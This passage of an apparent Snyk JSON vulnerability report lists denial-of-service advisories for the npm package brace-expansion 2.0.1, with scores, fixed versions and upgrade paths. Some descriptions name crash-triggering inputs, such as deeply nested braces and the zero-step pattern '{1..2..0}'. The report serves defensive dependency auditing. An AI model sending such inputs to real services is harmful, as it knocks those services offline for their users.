Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
